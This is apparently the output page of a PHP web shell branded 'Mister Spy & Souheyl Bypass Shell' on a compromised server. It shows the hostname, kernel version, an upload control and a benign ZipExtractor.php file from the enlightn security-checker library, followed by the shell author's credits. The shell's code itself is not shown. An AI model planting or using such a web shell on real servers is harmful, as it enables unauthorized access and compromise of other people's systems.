Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/enlightn/security-checker/src/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/enlightn/security-checker/src/ZipExtractor.php

<?php

namespace Enlightn\SecurityChecker;

use RuntimeException;
use Symfony\Component\Process\ExecutableFinder;
use Symfony\Component\Process\Process;
use UnexpectedValueException;
use ZipArchive;

class ZipExtractor
{
    /**
     * @param string $archivePath
     * @param string $extractPath
     */
    public function extract($archivePath, $extractPath)
    {
        if ($this->unzipCommandExists()) {
            $this->extractWithSystemUnzip($archivePath, $extractPath);

            return;
        }

        if (class_exists('ZipArchive')) {
            $this->extractWithZipArchive($archivePath, $extractPath);

            return;
        }

        throw new RuntimeException('The unzip command and zip php extension are both missing.');
    }

    /**
     * @return bool
     */
    public function unzipCommandExists()
    {
        $finder = new ExecutableFinder;

        return (bool) $finder->find('unzip');
    }

    /**
     * @param string $archivePath
     * @param string $extractPath
     */
    public function extractWithSystemUnzip($archivePath, $extractPath)
    {
        $process = new Process(['unzip', '-qq', '-o', $archivePath, '-d', $extractPath]);

        $process->mustRun();
    }

    /**
     * @param string $archivePath
     * @param string $extractPath
     */
    public function extractWithZipArchive($archivePath, $extractPath)
    {
        $zip = new ZipArchive;
        $openResult = $zip->open($archivePath);

        if (true === $openResult) {
            $extractResult = $zip->extractTo($extractPath);

            if (true === $extractResult) {
                $zip->close();
            } else {
                throw new RuntimeException('There was an error in extracting the ZIP file. It is either corrupted or using an invalid format.');
            }
        } else {
            throw new UnexpectedValueException($this->getErrorMessage($openResult, $archivePath));
        }
    }

    /**
     * Give a meaningful error message to the user.
     *
     * @param  int    $retval
     * @param  string $file
     * @return string
     */
    protected function getErrorMessage($retval, $file)
    {
        switch ($retval) {
            case ZipArchive::ER_EXISTS:
                return sprintf("File '%s' already exists.", $file);
            case ZipArchive::ER_INCONS:
                return sprintf("Zip archive '%s' is inconsistent.", $file);
            case ZipArchive::ER_INVAL:
                return sprintf("Invalid argument (%s)", $file);
            case ZipArchive::ER_MEMORY:
                return sprintf("Malloc failure (%s)", $file);
            case ZipArchive::ER_NOENT:
                return sprintf("No such zip file: '%s'", $file);
            case ZipArchive::ER_NOZIP:
                return sprintf("'%s' is not a zip archive.", $file);
            case ZipArchive::ER_OPEN:
                return sprintf("Can't open zip file: %s", $file);
            case ZipArchive::ER_READ:
                return sprintf("Zip read error (%s)", $file);
            case ZipArchive::ER_SEEK:
                return sprintf("Zip seek error (%s)", $file);
            default:
                return sprintf("'%s' is not a valid zip archive, got error code: %s", $file, $retval);
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net